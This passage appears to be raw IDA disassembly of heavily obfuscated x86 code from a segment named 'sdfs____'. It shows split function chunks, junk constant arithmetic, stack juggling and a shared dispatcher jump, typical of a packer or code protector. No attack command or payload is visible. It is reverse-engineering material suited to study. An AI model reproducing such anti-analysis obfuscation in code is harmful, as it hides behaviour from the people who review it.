XREF: sub_59A479+125FFj push 40ECh jmp loc_59E707 ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- loc_5AA8BE: ; CODE XREF: sdfs____:005A3CD5j add dl, 7Bh add cl, 24h sub cl, dl jmp loc_5A8B36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_5AA8CB: ; CODE XREF: sub_5A9D64-AD6Fj inc ebx jmp loc_5A2572 ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8215 loc_5AA8D1: ; CODE XREF: sub_5A8215-BF74j ; sdfs____:005AB699j push edi push ebx mov ebx, 4 mov edi, ebx pop ebx add edx, edi mov edi, [esp+0Ch+var_C] add esp, 4 jmp loc_59EF2B ; END OF FUNCTION CHUNK FOR sub_5A8215 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A18F6 loc_5AA8EB: ; CODE XREF: sub_5A18F6+ACACj mov esi, [esp+4+var_4] add esp, 4 push edx jmp loc_5995C2 ; END OF FUNCTION CHUNK FOR sub_5A18F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599664 loc_5AA8FA: ; CODE XREF: sub_599664+9j pop small [esp+2+var_2] not bx xchg bx, [esp+0] mov bp, [esp+0] push edx jmp loc_59C8BB ; END OF FUNCTION CHUNK FOR sub_599664 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AA90F: ; CODE XREF: sub_59D6B8+10FD4j add esi, 2 jmp loc_59D022 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5AA917: ; CODE XREF: sub_5A580F-5896j pop eax add [esp+8+var_8], 1CFC059Fh sub esp, 4 mov [esp+0Ch+var_C], ebp push 19AA474Dh jmp loc_5AF9D1 ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD6D4 loc_5AA932: ; CODE XREF: sub_5A0AA2-3DF0j ; sub_5AD6D4-143j mov [esp+0Ch+var_C], ebp mov ebp, 215647ABh push edi mov edi, 5BEE0D3Eh and edi, 66486F49h jmp loc_5A2D68 ; END OF FUNCTION CHUNK FOR sub_5AD6D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5AA94B: ; CODE XREF: sub_5ADD33-F865j mov eax, [esp+0Ch+var_C] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_59F800 ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- loc_5AA95E: ; DATA XREF: sdfs____:00598E48o push dword ptr [esp] pop eax push 52DDh mov [esp], esi jmp loc_5AB6AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AA96F: ; CODE XREF: sub_5AA2D1+3DDEj mov [esp+0], ebx mov ebx, 1Ch sub ebx, 3E111662h add ebx, edi jmp sub_5A416F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A72CB loc_5AA984: ; CODE XREF: sub_5A72CB-AC20j ; sub_5AA810+14CCj add esp, 4 pop [esp+8+var_8] pop esp sub [esp+0], ax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A72CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AA995: ; CODE XREF: sub_5AA2D1-C1B8j ; sub_5AA2D1:loc_5AB0D5j xor al, 7Bh mov cl, al pop eax jmp loc_5AB2F1 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AA99F: ; CODE XREF: sub_59E94B+C073j ; sub_59C979:loc_5ACAB3j push 6E3Eh mov [esp+0], ebp jmp loc_5A9E54 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- loc_5AA9AC: ; CODE XREF: sdfs____:0059D665j add dh, 0F3h pop ebx add dh, 0D9h push 730h jmp loc_5A1C01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_5AA9BD: ; CODE XREF: sub_59E94B+A30Cj pop edi jmp loc_5AA99F ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AA9C3: ; CODE XREF: sub_5992DA+4A12j add dh, 93h jl loc_59C21F jmp loc_5A33A2 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- mov ebp, esp mov cl, bl push edi loc_5AA9D6: ; CODE XREF: sdfs____:0059D837j and ebp, 14E220C5h sub ebp, 1 or ebp, 22312050h sub ebp, 5EB05D8Ch add ebp, 94558D6Bh add ecx, ebp pop ebp jmp loc_5A46A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AA9F9: ; CODE XREF: sub_5AA2D1-AADBj mov ah, 0F5h push ecx mov cl, 39h sub cl, 32h sub ah, cl pop ecx push ecx mov ch, 0A3h shl ch, 3 sub ch, 0B3h sub ah, 9Dh sub ah, ch add ah, 9Dh pop ecx jmp loc_5A0377 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4CF3 loc_5AAA1B: ; CODE XREF: sub_5A4CF3+8j mov ebp, [esp+8+var_8] add esp, 4 shl ecx, 4 xor ecx, 61E77E04h add esi, ecx pop ecx add esi, 4 jmp loc_5A5274 ; END OF FUNCTION CHUNK FOR sub_5A4CF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B4A0 loc_5AAA38: ; CODE XREF: sub_59B4A0+8F53j ; sub_59C979+FC17j mov [esp+10h+var_10], esi mov esi, 0C8F2E8Fh jmp loc_5A3530 ; END OF FUNCTION CHUNK FOR sub_59B4A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B0377 loc_5AAA45: ; CODE XREF: sub_5B0377-40DFj push ecx jmp loc_5A784F ; END OF FUNCTION CHUNK FOR sub_5B0377 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AAA4B: ; CODE XREF: sub_5AA2D1:loc_5AD941j add ah, 6Eh jmp loc_59B391 ; --------------------------------------------------------------------------- loc_5AAA53: ; CODE XREF: sub_5AA2D1+4AABj add ch, 3Eh sub ch, bh sub ch, 3Eh jmp loc_5AD9DD ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5AAA60: ; CODE XREF: sub_5A0FFF+D779j push dword ptr [esp+0] mov ebx, [esp+2+var_4+2] push ecx push esp jmp loc_5A74F4 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE29C loc_5AAA6D: ; CODE XREF: sub_5AE29C-93A7j add edx, 1887617Eh jmp loc_5A11AE ; END OF FUNCTION CHUNK FOR sub_5AE29C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AAA78: ; CODE XREF: sub_5A9D64-1EB7j ; sub_5AA2D1+2405j pop [esp+10h+var_10] mov esp, [esp+0Ch+var_C] test ecx, eax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AAA86: ; CODE XREF: sub_59C979+DE92j add ecx, eax jmp loc_59DB6A ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F2D1 loc_5AAA8D: ; CODE XREF: sub_59F2D1-4CE7j ; sub_5AA810:loc_5A94A2j mov [esp+8+var_8], edx mov edx, 2 jmp loc_59CDB4 ; END OF FUNCTION CHUNK FOR sub_59F2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A77D5 loc_5AAA9A: ; CODE XREF: sub_5A77D5-B738j add ebx, 0D239D3D1h sub esp, 4 mov [esp+0Ch+var_C], eax mov eax, 5DC274FFh and eax, 69155538h add eax, 2E47F2E0h jmp loc_5AB99E ; END OF FUNCTION CHUNK FOR sub_5A77D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABFD8 loc_5AAABA: ; CODE XREF: sub_5ABFD8+29j mov [esp+4+var_4], esi jmp loc_5ABBB0 ; END OF FUNCTION CHUNK FOR sub_5ABFD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DE4B loc_5AAAC2: ; CODE XREF: sub_59DE4B+AFBj mov ecx, 437B5442h xor ecx, 3AAB6427h add ebp, ecx pop ecx jmp loc_5AC82D ; END OF FUNCTION CHUNK FOR sub_59DE4B ; =============== S U B R O U T I N E ======================================= sub_5AAAD5 proc near ; CODE XREF: sub_5A75B3+615Ej var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059CC97 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A7092 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A7A70 SIZE 00000010 BYTES push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] jmp loc_59CC97 sub_5AAAD5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5AAAEC: ; CODE XREF: sub_5B01F7-83F5j jmp loc_59B8BC ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AAAF1: ; CODE XREF: sub_5AFD37-12BDFj ; sub_59D6B8+8D95j jnb loc_5A8719 jmp loc_59E9BB ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AAAFC: ; CODE XREF: sub_5AA2D1-29FFj jno loc_5A8453 sub esi, 5E7E5D24h jbe loc_59E3FA push ebp loc_5AAB0F: ; CODE XREF: sub_5A5EFF+93CAj mov edi, 73150788h sub esp, 4 mov [esp+8+var_8], edx push esi mov esi, 62372690h mov edx, esi pop esi jmp loc_5A2B3B ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599CC6 loc_5AAB28: ; CODE XREF: sub_599CC6+869Dj add esp, 4 jmp loc_5A5598 ; END OF FUNCTION CHUNK FOR sub_599CC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AAB33: ; CODE XREF: sub_5AA2D1-58ECj mov [esp-18h+arg_14], ebx push [esp-18h+arg_14] jmp loc_5AE120 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BAD3 loc_5AAB3E: ; CODE XREF: sub_59BAD3+3j push 33FCh mov [esp+8+var_8], eax mov eax, 6C652BC9h sub [esp+8+var_4], eax mov eax, [esp+8+var_8] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_599283 ; END OF FUNCTION CHUNK FOR sub_59BAD3 ; =============== S U B R O U T I N E ======================================= sub_5AAB66 proc near ; CODE XREF: sub_59D6B8+681Dj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059B68E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059C19E SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0059C4AA SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A1DCA SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A275B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A3C98 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A5EF4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A5FDF SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005A7901 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005AA1F8 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AE70E SIZE 0000001F BYTES push ebp push esp pop ebp jmp loc_5A1DCA sub_5AAB66 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_5AAB6E: ; CODE XREF: sub_5A9EC5-108Cj sub al, dl jmp loc_5A3F4F ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B02C0 loc_5AAB75: ; CODE XREF: sub_5B02C0-83EFj sub dx, ax pop eax sub ax, 792Eh sub ax, dx jmp sub_5A6B87 ; END OF FUNCTION CHUNK FOR sub_5B02C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3992 loc_5AAB85: ; CODE XREF: sub_5A3992+AECCj push edi push ebx jmp loc_5AAC88 ; END OF FUNCTION CHUNK FOR sub_5A3992 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5AAB8C: ; CODE XREF: sub_5A79BE+4FBFj pop edi pop [esp-8+arg_4] mov esp, [esp+0] push edx jmp loc_59DD5C ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5AAB99: ; CODE XREF: sub_5A0AA2+ABCFj shr edx, 4 jmp loc_5A10B1 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AABA1: ; CODE XREF: sub_5AA2D1-D39Fj mov [esp+0], ebx jmp loc_5AE3AE ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2D20 loc_5AABA9: ; CODE XREF: sub_5A2D20-2C43j jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A2D20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AABAE: ; CODE XREF: sub_5AA2D1+3A5Dj xor edx, edi pop edi sub edx, 30924666h add ecx, edx pop edx add ecx, 4 xor ecx, [esp-8+arg_4] xor [esp-8+arg_4], ecx xor ecx, [esp-8+arg_4] jmp loc_5A83A2 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AABCE: ; CODE XREF: sub_59D6B8+3F19j push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_59F3F1 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A917C loc_5AABE2: ; CODE XREF: sub_5A917C+568Dj add ebx, 4 add ebx, 4 xor ebx, [esp+8+var_8] xor [esp+8+var_8], ebx xor ebx, [esp+8+var_8] jmp loc_5A027E ; END OF FUNCTION CHUNK FOR sub_5A917C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC2C0 loc_5AABFC: ; CODE XREF: sub_5AC2C0-AD46j pop edi or ebx, 49576195h push esi mov esi, 4DAD6B6Bh and ebx, esi pop esi xor ebx, 4525538Fh jmp sub_5A477C ; END OF FUNCTION CHUNK FOR sub_5AC2C0 ; --------------------------------------------------------------------------- loc_5AAC17: ; CODE XREF: sdfs____:005A6135j inc ah jle loc_5ABDFE dec ah jz loc_5AED3B not ah pop ebx ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AAC2A: ; CODE XREF: sub_59D6B8+9D52j push [esp+4+var_4] pop edi push 1AA6h mov [esp+8+var_8], ebx mov ebx, esp add ebx, 4 push 4078h mov [esp+0Ch+var_C], ebp mov ebp, 4 add ebx, ebp pop ebp xchg ebx, [esp+8+var_8] pop esp jmp loc_5A9F00 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AAC57: ; CODE XREF: sub_5AA2D1-E178j or edx, 16AD240Dh jo loc_59F6B5 dec edx xor edx, 0A0F276FFh sub ecx, edx pop edx add ecx, 3FA804D2h jmp loc_59A1BF ; --------------------------------------------------------------------------- loc_5AAC78: ; CODE XREF: sub_5AA2D1+52DDj mov [esp-10h+arg_C], eax mov eax, 4 add edx, eax pop eax jmp sub_5A12F5 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3992 loc_5AAC88: ; CODE XREF: sub_5A3992+71F5j mov ebx, 24815F21h add ebx, 750752F4h jmp loc_5A45D5 ; END OF FUNCTION CHUNK FOR sub_5A3992 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6494 loc_5AAC98: ; CODE XREF: sub_5A6494+Ej sub edx, 27BE513Ch shl edx, 6 add edx, 0CA3AEFC4h add eax, edx pop edx add eax, 4 xchg eax, [esp+0] mov esp, [esp+0] add esp, 4 jmp loc_5AADA4 ; END OF FUNCTION CHUNK FOR sub_5A6494 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AACBE: ; CODE XREF: sub_5AA2D1+5FEAj xchg ecx, [esp-14h+arg_10] jmp loc_5AF587 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8B3E loc_5AACC6: ; CODE XREF: sub_5A8B3E-17j push 77E3h mov [esp+8+var_8], eax mov eax, 690F7C6Ah dec eax add eax, 96F0839Bh add ebx, eax pop eax push esi mov esi, esp add esi, 4 jmp loc_5A3A8E ; END OF FUNCTION CHUNK FOR sub_5A8B3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5AACEA: ; CODE XREF: sub_59CBE1+D6D4j pop eax push edi push 4B62h mov [esp+0Ah+var_C+2], esp add [esp+0Ah+var_C+2], 4 push [esp+0Ah+var_C+2] jmp loc_59DF85 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A35F6 loc_5AAD00: ; CODE XREF: sub_5A35F6-75ECj ; sub_59C2B8+136D6j sub esi, edx pop edx xor esi, 78060D7Dh xor esi, 8EC1083Ch add edi, esi pop esi sub edi, 4 xchg edi, [esp-8+arg_4] jmp loc_5AE97E ; END OF FUNCTION CHUNK FOR sub_5A35F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AAD1D: ; CODE XREF: sub_5AA2D1-FF01j shr ebx, 3 xor ebx, 4DECA03h sub edi, 679D16B5h push esi mov esi, 56011609h or esi, 388B7C34h jmp loc_5A5D15 ; --------------------------------------------------------------------------- loc_5AAD3D: ; CODE XREF: sub_5AA2D1-D1E2j pop eax add ebp, 6BA5696h jmp loc_5AB84C ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_5AAD49: ; CODE XREF: sub_5AD795-AC02j xor ecx, 747320B8h push edi mov edi, 1A9D4712h sub ebp, edi pop edi sub ebp, ecx add ebp, 1A9D4712h mov ecx, [esp+8+var_8] add esp, 4 mov eax, [esp+4+var_4] sub esp, 4 mov [esp+8+var_8], ebp jmp loc_59B830 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AAD77: ; CODE XREF: sub_5AA2D1+5CF7j add eax, 0AB9050Dh sub eax, 68D32169h push dword ptr [esp+0] mov ebp, [esp+1Ah+var_1A] add esp, 4 push 55E8h mov [esp+1Ah+var_1A], ecx jmp loc_59995F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5AAD97 proc near ; CODE XREF: sub_5AA2D1:loc_5A3B7Fj push ebp jmp loc_5A45C5 sub_5AAD97 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3B60 loc_5AAD9D: ; CODE XREF: sub_5A3B60+FABj not esi jmp loc_59B09E ; END OF FUNCTION CHUNK FOR sub_5A3B60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6494 loc_5AADA4: ; CODE XREF: sub_5A6494+4825j push eax sub esp, 4 mov [esp+4+var_4], esp add [esp+4+var_4], 4 pop eax jmp loc_5A181A ; END OF FUNCTION CHUNK FOR sub_5A6494 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABE0D loc_5AADB5: ; CODE XREF: sub_5ABE0D-10A01j ; sub_5AA5F6-75EFj ... mov cl, 0F1h xor cl, 75h add al, cl pop ecx push ebx mov bl, 64h push ebx jmp loc_5A029B ; END OF FUNCTION CHUNK FOR sub_5ABE0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF294 loc_5AADC6: ; CODE XREF: sub_5AF294-5EBBj sub esi, 6337341h pop eax push ebx push edi push ecx mov ecx, 68EB619Ch not ecx xor ecx, 7C2568D2h jmp loc_5A9147 ; END OF FUNCTION CHUNK FOR sub_5AF294 ; --------------------------------------------------------------------------- loc_5AADE2: ; CODE XREF: sdfs____:005ACE73j sub esi, ecx jmp loc_59CB78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5AADE9: ; CODE XREF: sub_5A63DC-C1Dj pop esp mov [esp+0Ch+var_C], edx mov edx, 6806B041h xor eax, edx pop edx sub ecx, 39DA0680h sub ecx, 93F2EE7h add ecx, eax push ebx jmp loc_5AD3DE ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_5AAE09: ; CODE XREF: sub_5A3992-47F7j ; sub_5A9EBF+5DEBj not edi sub edi, 0F5C8A90Ah add ebx, edi pop edi mov ebp, [esp+0] add esp, 4 jmp loc_5A58E3 ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AAE1F: ; CODE XREF: sub_5992DA+ABE7j add esp, 4 sub esp, 4 mov [esp+0], eax jmp loc_599E8C ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5AAE30: ; CODE XREF: sub_5B01F7-40CCj add ecx, 1 not ecx sub ecx, 0FFFFFFFFh jmp loc_5AFCFA ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5AAE43: ; CODE XREF: sub_59EE3E+16C3j and ebp, 766D309Ch jnb loc_5A7701 xor ebp, 70EF0FB3h jmp loc_5A4BBF ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- mov esp, [esp] push ebx ; =============== S U B R O U T I N E ======================================= sub_5AAE5E proc near ; CODE XREF: sub_59D5EA+FEB0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059BFFB SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059CDCD SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059DAD3 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005A501B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A6B17 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005AB83F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005ACD01 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005AD746 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AD934 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005B0447 SIZE 00000014 BYTES push ebx mov ebx, esp add ebx, 4 jmp loc_5AB83F sub_5AAE5E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1F3 loc_5AAE6C: ; CODE XREF: sub_59F1F3+84A9j jmp loc_5A336B ; END OF FUNCTION CHUNK FOR sub_59F1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE29C loc_5AAE71: ; CODE XREF: sub_5AE29C-EABj push 54A6h mov [esp+4+var_4], esi jmp loc_5A936F ; END OF FUNCTION CHUNK FOR sub_5AE29C ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5AC107 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A68A5 loc_5AAE87: ; CODE XREF: sub_5A68A5-3078j mov [esp+0], ebp jmp loc_5AEBC4 ; END OF FUNCTION CHUNK FOR sub_5A68A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5AAE8F: ; CODE XREF: sub_5A63DC+62F4j mov edx, ebx pop ebx jmp loc_5AB2D1 ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5AAE97: ; CODE XREF: sub_59EE3E+5E4Aj jo loc_599672 dec esi sub esi, 11EF3B85h shl esi, 4 jmp loc_5A29C5 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AAEAC: ; CODE XREF: sub_5992DA+509Dj jp loc_5AF273 shl ebp, 6 jp loc_5A81DF shl ebp, 5 pop esp ; END OF FUNCTION CHUNK FOR sub_5992DA ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AAEBF: ; CODE XREF: sub_5AA2D1-C81Dj mov eax, esp push ecx mov ecx, 42437BE4h shr ecx, 8 not ecx add ecx, offset byte_424380 jmp loc_5A9CE2 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5AAED7: ; CODE XREF: sdfs____:0059E153j jmp loc_59910F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599509 loc_5AAEDC: ; CODE XREF: sub_599509+11B0Aj ; sub_5AC803+3575j mov esp, [esp+0] rol [esp-4+arg_0], cl pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_599509 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A35F6 loc_5AAEE8: ; CODE XREF: sub_5A35F6-52j mov eax, 66F24A5Eh add ecx, eax jmp loc_5AC497 ; END OF FUNCTION CHUNK FOR sub_5A35F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59AFE7 loc_5AAEF4: ; CODE XREF: sub_59AFE7+1j push dword ptr [esp+4] pop ebp pop [esp+4+var_4] sub esp, 4 mov [esp+4+var_4], ebp not [esp+4+var_4] mov ebp, [esp+4+var_4] add esp, 4 push ecx mov ecx, esp add ecx, 4 push edi mov edi, 4 jmp loc_5A1EBD ; END OF FUNCTION CHUNK FOR sub_59AFE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5AAF22: ; CODE XREF: sub_5A0FFF+80ACj xchg eax, [esp+22h+var_22] pop esp sub eax, 4 xor eax, [esp+1Eh+var_1E] xor [esp+1Eh+var_1E], eax xor eax, [esp+1Eh+var_1E] mov esp, [esp+1Eh+var_1E] mov [esp+1Eh+var_1E], ebp push [esp+1Eh+var_1A] mov ebp, [esp+22h+var_22] push eax push esp pop eax push ebp mov ebp, 143F576Fh shl ebp, 2 xor ebp, 50FD5DB8h add eax, ebp pop ebp add eax, 4 push eax push [esp+2Ah+var_26] pop eax pop dword ptr [esp+0] jmp loc_5A2EB8 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_5AAF67: ; CODE XREF: sub_59F02F-4450j mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_59FF7E ; END OF FUNCTION CHUNK FOR sub_59F02F ; =============== S U B R O U T I N E ======================================= sub_5AAF7A proc near ; DATA XREF: sdfs____:0059905Co var_14 = dword ptr -14h var_8 = dword ptr -8 ; FUNCTION CHUNK AT 005A109C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A19A4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A7986 SIZE 00000017 BYTES lodsd push ecx mov ecx, 52027A87h sub esi, ecx pop ecx add esi, eax push edx push 76BAh mov [esp+8+var_8], esi push ebp mov ebp, 24D1598Bh push edi push 32C12269h mov edi, [esp+14h+var_14] add esp, 4 add edi, 4412B1A9h jmp loc_5A19A4 sub_5AAF7A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5AAFAF: ; CODE XREF: sub_5ADD33+9j push esp mov ecx, [esp+8+var_8] add esp, 4 add ecx, 4 add ecx, 4 jmp loc_59AFD3 ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; =============== S U B R O U T I N E ======================================= sub_5AAFCA proc near ; CODE XREF: sub_599A6F+AA91j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 